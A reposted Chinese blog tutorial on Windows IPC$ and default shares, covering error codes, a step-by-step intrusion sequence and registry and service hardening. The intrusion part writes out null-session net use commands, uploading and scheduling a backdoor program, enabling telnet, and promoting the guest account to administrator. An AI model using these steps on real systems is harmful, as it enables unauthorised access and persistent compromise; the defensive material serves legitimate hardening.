IPC$连接

转载 2011年01月18日 16:22:00

ipc空连接:不需用户名和密码的访问,即匿名访问
使用某个用户或管理员的身份登录,不是空连接

ipc$连接可以实现远程登录及对默认共享的访问
开放139端口表示开启了netBios协议
我们可以通过139,445端口实现共享文件、打印机的访问
所以一般ipc$是需要139,445端口的


c$,d$,e$为默认共享,是为了管理员远程管理而默认开启的共享

 

ipc$失败原因
1.非NT或以上系统
2.没打开ipc$默认共享
3.139,445端口没打开或被屏蔽
4.命令输入错误
5.用户密码错误


ipc$错误代码
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。


如何打开目标的IPC$
首先你需要获得一个不依赖于ipc$的shell,
比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,
然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。
从上面可以知道,ipc$能否使用还有很多条件。
请确认相关服务都已运行,没有就启动它, 还是不行的话(比如有防火墙,杀不了)建议放弃。

 

入侵:

建立空连接:
net use //IP/ipc$ "" /user:""

建立非空连接:
net use //ip/ipc$ "密码" /user:"用户"

映射默认共享::(在连接建立的基础上)
net use z: //IP/c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$,具体命令 net use z: //IP/c$

删除一个ipc$连接
net use //IP /del

删除共享映射
net use z: /del 删除映射的z盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认

查看资源
net view //IP

得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
nbtstat -A IP


经典入侵:
(1)net use //192.168.0.1/ipc$ "" /user:"administrators"(开启ipc$连接)
(2)copy srv.exe //192.168.0.1/admin$ (负责srv.exe上去)
(3)net time //127.0.0.1(查看被入侵机器时间)
(4)at //192.168.0.1 12:00 srv.exe(at命令启动srv.exe)
(5)telnet 192.168.0.1 99(这里假设srv.exe已启动,并打开了99端口提供telnet服务)
(6)copy ntlm.exe //192.168.0.1/admin$(ntlm.exe用于开启对方telnet服务)
(7)C:/WINNT/system32>ntlm
输入ntlm启动(这里的C:/WINNT/system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
(8)Telnet 192.168.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样
(9)C:/>net user guest /active:yes(为了以防万一,我们再把guest激活加到管理组 ,将对方的Guest用户激活)
(10)11. C:/>net user guest 1234(将Guest的密码改为1234,或者你要设定的密码)
(11) C:/>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)


察看本地共享资源
net share


些基础知识:
  1 SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;
  2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
  3 在WindowsNT中SMB基于NBT实现,而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。
  有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:
  对于win2000客户端来说:
  1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
  2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。由此可见,禁止了NBT后的win 2000对win NT的共享访问将会失败。

  对于win2000服务器端来说:
  1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放;
  2 如果禁止NBT,那么只有445端口开放。

  我们建立的ipc$;会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$;会话是无法建立的。

 


防:

禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/ LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)


删除共享
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete

停止server服务
net stop server /y (重新启动后server服务会重新开启)

修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/ LanmanServer/Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

设置复杂密码,防止通过ipc$穷举密码

如何建立远程IPC$连接

如何建立远程IPC$连接     要建立远程IPC$连接必须具备以下条件: 1、有超管的密码; 2、远程机开启了Sever服务项,一般都开了,除非是高手知道多一点; ...
  • redouba
  • redouba
  • 2014年06月06日 19:00
  • 2589

利用IPC$空连接进行入侵及防范的方法

第一篇 今天给大家一起学习一下利用IPC$空连接进行入侵及防范的方法,也是最基础的,分享这篇文章的意义不是教大家怎么入侵他人,而是让大家懂得其中的攻防原理,更好的保护自己的电脑安全这才是用意,所以大家...
  • bytxl
  • bytxl
  • 2015年07月07日 16:19
  • 4714

在对方电脑建立IPC连接, 利用IPC$入侵 执行木马

IPC IPC$入侵 IPC$漏洞的利用 开启IPC漏洞
  • hnust_xiehonghao
  • hnust_xiehonghao
  • 2014年11月14日 18:11
  • 11136

windows的IPC空连接

今天看到一篇关于IPC的文章,觉得真的不错,确实像文章中所说的那样,网上关于IPC的文章太多了。但是真正能让新手或者有疑问的人理解的文章少之又少,这篇文章虽比较早了但是绝对是经典中的经典,语言通俗易懂...
  • alone_map
  • alone_map
  • 2016年07月07日 15:41
  • 1009

ipc$连接失败的常见原因

 以下是一些常见的导致ipc$连接失败的原因:1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统...
  • shuilan0066
  • shuilan0066
  • 2010年07月06日 14:02
  • 2956

IPC连接

IPC$是Windows系统特有的一项管理功能,是微软公司为了方便用户使用计算机而设计的,主要用来远程管理计算机的。但事实上使用这个功能最多的人不是网络管理员,而是“入侵者”!他们通过建立IPC$连接...
  • flyingleo1981
  • flyingleo1981
  • 2014年01月25日 09:49
  • 1376

IPC$入侵完全指令

一   相关命令  1)建立空连接:  net use \\IP\ipc$ "" /user:""         (一定要注意:这一行命令中包含了3个空格)  2)建立非空连接:  net ...
  • yutel
  • yutel
  • 2014年06月25日 09:42
  • 1510

好早以前的事了,利用IPC$入侵.顺便写一些小工具

opentls,修改Telnet的NTLM设置,这样就可以远程登录了jockey,服务管理,主要是提供服务的一般操作,如添加,删除等等功能.ps  ,进程管理,列出所有的进程,也可以杀掉进程http,...
  • 9731boy
  • 9731boy
  • 2004年12月06日 08:53
  • 2454

进程-IPC 信号和信号量 (二)

进程-IPC 信号和信号量 (二)
  • Crazy__Programmer
  • Crazy__Programmer
  • 2014年11月25日 16:37
  • 1263

IPC$局域网入侵详解

PC$命令详解  网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.不过话虽这样说,但我个人认为这些文...
  • dalu007
  • dalu007
  • 2005年02月26日 14:14
  • 6998
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:IPC$连接
举报原因:
原因补充:

(最多只允许输入30个字)